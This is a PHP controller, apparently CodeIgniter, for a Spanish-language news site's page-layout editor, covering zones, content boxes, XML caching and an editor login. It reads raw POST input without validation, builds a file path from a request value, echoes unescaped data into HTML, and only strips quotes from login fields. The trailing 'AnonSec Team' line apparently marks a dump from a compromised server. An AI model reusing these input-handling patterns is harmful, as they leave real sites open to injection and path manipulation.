	public function consultar_nota()
	{
		$nota_id=$_POST['nota_id'];
		$seccion_id=$_POST['seccion_id'];
		$this->load->model("layout_modelo","layout_modelo",true);
		$array=$this->layout_modelo->consultarNota($nota_id,$seccion_id);
		echo json_encode($array);
	}
	
	public function editar_zona()
	{
		$zona_id=$this->input->post('idzona');
		$seccion_id=$this->input->post('seccion_id');
		$titulo=$this->input->post('titulo');
		$id=$this->input->post('id');
		$clase=$this->input->post('clase');
		$alto=$this->input->post('alto');
		$ancho=$this->input->post('ancho');
		$posicion=$this->input->post('posicion');
		$this->load->model("layout_modelo","layout_modelo",true);
		$id_zona = $this->layout_modelo->actualizarZona($zona_id,$seccion_id,$titulo,$id,$clase,$alto,$ancho,$posicion);	
		echo $id_zona;
	}
	
	public function editar_caja()
	{
		$caja_id=$this->input->post('idcaja');
		$seccion_id=$this->input->post('seccion_id');
		$titulo=$this->input->post('titulo');
		$alto=$this->input->post('alto');
		$ancho=$this->input->post('ancho');
		$tipo=$this->input->post('tipo');
		$estilo_cont=$this->input->post('estilo_cont');
		$orden_cont=$this->input->post('orden_cont');
		$timagen=$this->input->post('timagen');
		$himagen=$this->input->post('himagen');
		$this->load->model("layout_modelo","layout_modelo",true);
		$id_caja = $this->layout_modelo->actualizarCaja($caja_id,$seccion_id,$titulo,$alto,$ancho,$tipo,$timagen,$himagen,$estilo_cont,$orden_cont);	
		echo $id_caja;
	}
	
	
	public function min_menu()
	{
		$this->session->set_userdata('menu_minimizado',1);
		return true;
	}
	
	public function max_menu()
	{
		$this->session->set_userdata('menu_minimizado',0);
		return true;
	}
	
	public function publicar_zonas()
	{
		$seccion_id=$_POST['seccion_id'];
		$this->load->model("layout_modelo","layout_modelo",true);
		if($var=$this->layout_modelo->publicarZonas($seccion_id))
		{
			$this->_crear_xml_zonas($seccion_id);
			echo 'ok';
		}
		else
			echo 'error';
	}
	
	public function obtener_zonas()
	{
		$seccion_id=$_POST['seccion_id'];
		$this->load->model("layout_modelo","layout_modelo",true);
		if($var=$this->layout_modelo->obtenerZonas($seccion_id))
			echo 'ok';
		else
			echo 'error';
	}
	
	public function desactivar_posiciones()
	{
		$seccion_id=$_POST['seccion_id'];
		$this->load->model("layout_modelo","layout_modelo",true);
		if($var=$this->layout_modelo->desactivarPosiciones($seccion_id))
			echo 'ok';
		else
			echo 'error';
	}
	
	public function activar_posiciones()
	{
		$seccion_id=$_POST['seccion_id'];
		$this->load->model("layout_modelo","layout_modelo",true);
		if($var=$this->layout_modelo->activarPosiciones($seccion_id))
			echo 'ok';
		else
			echo 'error';
	}
	
	public function _crear_nodo_xml($seccion_id,$doc,$zonas_info,$padre_id)
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$zonas = $this->layout_modelo->dameZonas($seccion_id,$padre_id,1);
		//
		if(is_array($zonas))
		{
			foreach($zonas as $zona)
			{
				//creo el nodo zona
				$nodo = $doc->createElement('zona');
				$zonas_info->appendChild($nodo);
				
				//creo el titulo de la zona
				$id = $doc->createElement('id');
				$id->appendChild($doc->createTextNode($zona['id']));
				$nodo->appendChild($id);
				
				//creo el titulo de la zona
				$titulo = $doc->createElement('titulo');
				$titulo->appendChild($doc->createTextNode($zona['div']));
				$nodo->appendChild($titulo);
				
				//creo el id del div de la zona
				$div_id = $doc->createElement('div_id');
				$div_id->appendChild($doc->createTextNode($zona['div_id']));
				$nodo->appendChild($div_id);
				
				//creo la clase de la zona
				$div_class = $doc->createElement('div_class');
				$div_class->appendChild($doc->createTextNode($zona['div_class']));
				$nodo->appendChild($div_class);
				
				//creo si es posicio o no
				$posicion = $doc->createElement('posicion');
				$posicion->appendChild($doc->createTextNode($zona['posicion']));
				$nodo->appendChild($posicion);
				
				//creo el nodo hijos
				$hijos = $doc->createElement('hijos');
				$nodo->appendChild($hijos);
				$this->_crear_nodo_xml($seccion_id,$doc,$hijos,$zona['id']);
			}
		}
		else
		{
			echo "juazjuzajuz";
		}
		return true;
	}
	
	public function _crear_xml_zonas($seccion_id)
	{
		$doc = new DOMDocument('1.0', 'utf-8');
		$doc->formatOutput = true;
				
		$zonas_info = $doc->createElement('zonas');
		$doc->appendChild($zonas_info);
		
		$this->_crear_nodo_xml($seccion_id,$doc,$zonas_info,0);
		
		$c = $doc->saveXML();
		if ($file_sup = fopen(PATH_BASE_XML."xml/home/zonas_seccion_".$seccion_id.".xml",  "w+"))
		{		
			fputs($file_sup, $c);  
			fclose($file_sup);
			$this->load->library('varios_library');
			if (file_exists(PATH_BASE_XML."xml/home/zonas_seccion_".$seccion_id.".xml"))
			{
				$xml_zonas = file_get_contents(PATH_BASE_XML."xml/home/zonas_seccion_".$seccion_id.".xml");
				$array_zonas = $this->varios_library->xml2array($xml_zonas);
				$array_zonas = $array_zonas['zonas'][0];
				$array_zonas = json_encode($array_zonas);
				$this->load->library('memcached_library');
				$tiempo_expiracion = 0;
				$xml = $this->memcached_library->get('zonas_home_'.$seccion_id);
				if ($xml)
				{
					$this->memcached_library->replace('zonas_home_'.$seccion_id, $array_zonas, $tiempo_expiracion);
				}
				else
				{
					$this->memcached_library->set('zonas_home_'.$seccion_id, $array_zonas, $tiempo_expiracion);
				}
			} 
		}
		else
		{
			echo PATH_BASE_XML."xml/home/zonas_seccion_".$seccion_id.".xml";
		}
	}
	
	public function recargar_caja()
	{
		$datosaverificar=$_POST['datos'];
		$seccion_id=$_POST['seccion_id'];
		
		$array=explode('&',$datosaverificar);
		
		$this->load->model("layout_modelo","layout_modelo",true);
		$ban=true;
		$codigo='';
		$caja_id=0;
		$i=0;
		foreach($array as $v)
		{
			if($v)
			{	
				$array2=explode('=',$v);
				//1 campo - id de caja
				$caja_id=end(explode('-',$array2[0]));
				$caja_id=$caja_id + 0;
				//borro a asociacion de los contenidos a la caja_id
				if($i==0)
				{
					$this->layout_modelo->blanquear_caja($caja_id);
				}
				//2 campo - contenido
				$datos=explode('-',$array2[1]);
				switch($datos[0])//$datos[0] = tipo (nota,banner, etc)
				{
					case "Nota":
							$this->load->model("nota_modelo","nota_modelo",true);
							if($id_cont=$this->nota_modelo->existe_nota($datos[1],$seccion_id))
							{
								if(!$var=$this->nota_modelo->actualizar_nota_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								$nota=$this->nota_modelo->traer_datos_nota($datos[1]);
								$this->load->model("foto_modelo","foto",true);
								$foto_dest = $this->foto->dameFotoDestacada($datos[1]);
								$nota['imagen_destacada']=$foto_dest['imagen'];
								$nota['ruta_destacada']=$foto_dest['ruta'];
								$nota['marca_destacada']=$foto_dest['marca'];
								$this->load->library('varios_library');
								$url_seccion=$this->varios_library->limpiarurl($nota['seccion'][0]['nombre']);
								$nota['link']='nota/'.$datos[1].'/'.$url_seccion.'/'.$nota['url'];
								if(!$var=$this->nota_modelo->crear_nota_caja($datos[1],$caja_id,$seccion_id,$i,$nota))$ban=false;
							}
							break;
					case "Banner":
							$this->load->model("banner_modelo","banner_modelo",true);
							if($id_cont=$this->banner_modelo->existe_banner($datos[1],$seccion_id))
							{
								if(!$var=$this->banner_modelo->actualizar_banner_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->banner_modelo->crear_banner_caja($datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							break;
					case "Controlador":
							$this->load->model("varios_modelo","varios_modelo",true);
							if($id_cont=$this->varios_modelo->existe_controlador($datos[1],$seccion_id,$caja_id))
							{
								if(!$var=$this->varios_modelo->actualizar_controlador_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->varios_modelo->crear_controlador_caja($datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							break;
					case "HTMLPersonalizado":
							$this->load->model("customhtml_modelo","customhtml_modelo",true);
							if($id_cont=$this->customhtml_modelo->existe_custom_html($datos[1],$seccion_id))
							{
								if(!$var=$this->customhtml_modelo->actualizar_custom_html_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->customhtml_modelo->crear_custom_html_caja($datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							break;
					case "CarrouseldeNotas":
							$this->load->model("carrousel_modelo","carrousel_modelo",true);
							if($id_cont=$this->carrousel_modelo->existe_carrousel($datos[1],$seccion_id,7))
							{
								if(!$var=$this->carrousel_modelo->actualizar_carrousel_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->carrousel_modelo->crear_carrousel_caja($datos[1],$caja_id,$seccion_id,$i,7))$ban=false;
							}
							break;
					case "CarrouseldeVideos":
							$this->load->model("carrousel_modelo","carrousel_modelo",true);
							if($id_cont=$this->carrousel_modelo->existe_carrousel($datos[1],$seccion_id,8))
							{
								if(!$var=$this->carrousel_modelo->actualizar_carrousel_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->carrousel_modelo->crear_carrousel_caja($datos[1],$caja_id,$seccion_id,$i,8))$ban=false;
							}
							break;
					case "CarrouseldeImagenes":
							$this->load->model("carrousel_modelo","carrousel_modelo",true);
							if($id_cont=$this->carrousel_modelo->existe_carrousel($datos[1],$seccion_id,9))
							{
								if(!$var=$this->carrousel_modelo->actualizar_carrousel_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->carrousel_modelo->crear_carrousel_caja($datos[1],$caja_id,$seccion_id,$i,9))$ban=false;
							}
							break;
					case "CarrouseldeTemas":
							$this->load->model("carrousel_modelo","carrousel_modelo",true);
							if($id_cont=$this->carrousel_modelo->existe_carrousel($datos[1],$seccion_id,10))
							{
								if(!$var=$this->carrousel_modelo->actualizar_carrousel_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->carrousel_modelo->crear_carrousel_caja($datos[1],$caja_id,$seccion_id,$i,10))$ban=false;
							}
							break;
					case "MinutoaMinuto":
							$this->load->model("mam_modelo","mam_modelo",true);
							if($id_cont=$this->mam_modelo->existe_mam($datos[1],$seccion_id))
							{
								if(!$var=$this->mam_modelo->actualizar_mam_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->mam_modelo->crear_mam_caja($datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							break;
					case "Encuesta":
							$this->load->model("encuesta","encuesta",true);
							if($id_cont=$this->encuesta->existe_encuesta($datos[1],$seccion_id))
							{
								if(!$var=$this->encuesta->actualizar_encuesta_caja($id_cont,$datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							else
							{
								if(!$var=$this->encuesta->crear_encuesta_caja($datos[1],$caja_id,$seccion_id,$i))$ban=false;
							}
							break;
				}
				$i++;
			}
		}
		if($ban)
		{
			echo $this->_armar_contenidos($seccion_id,$caja_id);
			echo $codigo.'<script>arrastre();</script>';
		}
		else
		{
			echo "<p style=\"color:#c00;\"><b>Error, se recargará la web.</b></p><script>setTimeout('location.reload();',5000);</script>";
		}
	}
	public function armar_link_nota()
	{
		$nota_id=$this->input->post('nota_id');
		$this->load->library('varios_library');
		$seccion_id=$this->input->post('seccion_id');
		$titulo=$this->input->post('titulo');
		$this->load->model("nota_modelo","nota_modelo",true);
		if($enlaces=$this->nota_modelo->dame_array_secciones($nota_id))
		{
			if(is_array($enlaces))
			{
				foreach($enlaces as $enlace)
				{
					$url=$this->varios_library->limpiarurl($enlace['nombre']);
					echo '<input type="radio" name="links-nota" value="'.$url.'"> '.$enlace['nombre'].'<br />';
				}
			}
		}
	}
	
	public function armar_imagenes_nota()
	{
		$nota_id=$this->input->post('nota_id');
		$this->load->library('varios_library');
		$seccion_id=$this->input->post('seccion_id');
		$imagen_home=$this->input->post('imagen');
		$this->load->model("foto_modelo","foto_modelo",true);
		if($enlaces=$this->foto_modelo->dameFotosNota($nota_id))
		{
			echo '<div align="center"><ul id="mycarousel" class="jcarousel-skin-tango">';
			$start=1;
			$i=1;
			foreach($enlaces as $imagen)
			{
				if($imagen_home==$imagen['imagen'])
				{
					$start=$i;
				}
				echo '<li id="'.$imagen['ruta'].$imagen['imagen'].'" class="imagen-selected">
				<img src="'.URL_BASE_FILE.'fotos/'.$imagen['ruta'].$imagen['imagen'].'" width="140" height="140" alt="" />
				</li>';
				$i++;
			}
 
  			echo '</ul></div>';
  			echo '<input type="hidden" name="imagen-guardar" id="imagen-guardar" />';
			echo '<script type="text/javascript"> function elegir_imagen(carousel, item, idx, state){
				imgae = item.id;
				$(\'#imagen-guardar\').val(imgae);}
jQuery(document).ready(function() {
    jQuery(\'#mycarousel\').jcarousel({itemVisible:1,scroll:1,itemVisibleInCallback:elegir_imagen,start:'.$start.'});
});

</script>';
		}
		else
		{
			echo '<font style="color:#f00;">Esta nota no dispone de imagenes.</font>';
		}
	}
	
	public function login($seccion_id=1)
	{
		$this->load->model("diagramador_modelo","diagramador",true);
		$datos['ocupado'] = 0;
			
		$variables['error']="";
		$variables['seccion_id'] = $seccion_id;
		$this->load->view("layout_login",$variables);
	}
	
	public function logout($seccion_id=1)
	{
		$this->session->unset_userdata("usuario_diagramador");
		
		$this->load->model("diagramador_modelo","diagramador",true);
		$datos['ocupado'] = 0;
		$this->diagramador->desocuparDiagramador($seccion_id);
			
		redirect(site_url('layout/login/'.$seccion_id),"refresh");
	}
	
	public function verificar()
	{
		$usuario=$this->session->userdata('usuario_diagramador');
		if ($usuario)
			$this->session->unset_userdata("usuario_diagramador");
		
		$username = $this->input->post("username");
		$username = str_replace("'","",$username);
		$username = str_replace('"',"",$username);
		
		$pass = $this->input->post("password");
		$pass = str_replace("'","",$pass);
		$pass = str_replace('"',"",$pass);
		
		$seccion_id = $this->input->post("seccion_id");
		if (!isset($seccion_id))
			$seccion_id = 0;
		
		$variables['seccion_id'] = $seccion_id;	
			
		if ($username!="" and $pass!="")
		{
			$this->load->model("diagramador_modelo","diagramador",true);
			$usuario = $this->diagramador->loginDiagramador($username,$pass);
			
			if ($usuario)
			{
				$this->load->model("permiso","permiso",true);
				$permiso = $this->permiso->checkIn($usuario['perfil_id'],52);
				if ($permiso['Modificacion'])
				{
					$uso=$this->diagramador->checkEstadoDiagramador($seccion_id);
					if ($uso['ocupado']==0 or ($uso['ocupado']==1 and $uso['seccion_id']==$usuario['id']))
					{
						$sess_array = array(
							'id' => $usuario['id'],
							'nombre' => $usuario['nombre'],
							'apellido' => $usuario['apellido'],
							'usuario' => $usuario['usuario'],
							'email' => $usuario['email'],
							'perfil_id' => $usuario['perfil_id'],
							'facebook_id' => $usuario['facebook_id']
						);
						$this->session->set_userdata('usuario_diagramador', $sess_array);
						
						if ($uso['ocupado']==0)
						{
							$datos['usuario_id'] = $usuario['id'];
							$datos['nombre'] = $usuario['nombre']." ".$usuario['apellido'];
							$datos['fecha'] = date('Y-m-d H:i:s');
							$datos['ocupado'] = 1;
							$this->diagramador->cambiarEstadoDiagramador($datos,$seccion_id);
						}
						
						redirect(site_url("layout/index/".$seccion_id),"location");
						exit();	
					}
					else
						$variables['error'] = "El Diagramador esta siendo usado por ".$uso['nombre'];
				}
				else
					$variables['error'] = "Usted no tiene permiso para acceder al Diagramador";
			}
			else
				$variables['error'] = "Usuario o contrase&ntilde;a incorrectas";
		}
		else
			$variables['error'] = "Debe ingresar usuario y contrase&ntilde;a";

		$this->load->view("layout_login",$variables);
	}
	public function mod_porcentaje()
	{
		$porcentaje=$_POST['porcentaje'];
		$id=$_POST['id'];
		$this->load->model("layout_modelo","layout",true);
		$this->layout->modPorcentaje($id,$porcentaje);
		return true;
	}
}
?>

Anon7 - 2022
AnonSec Team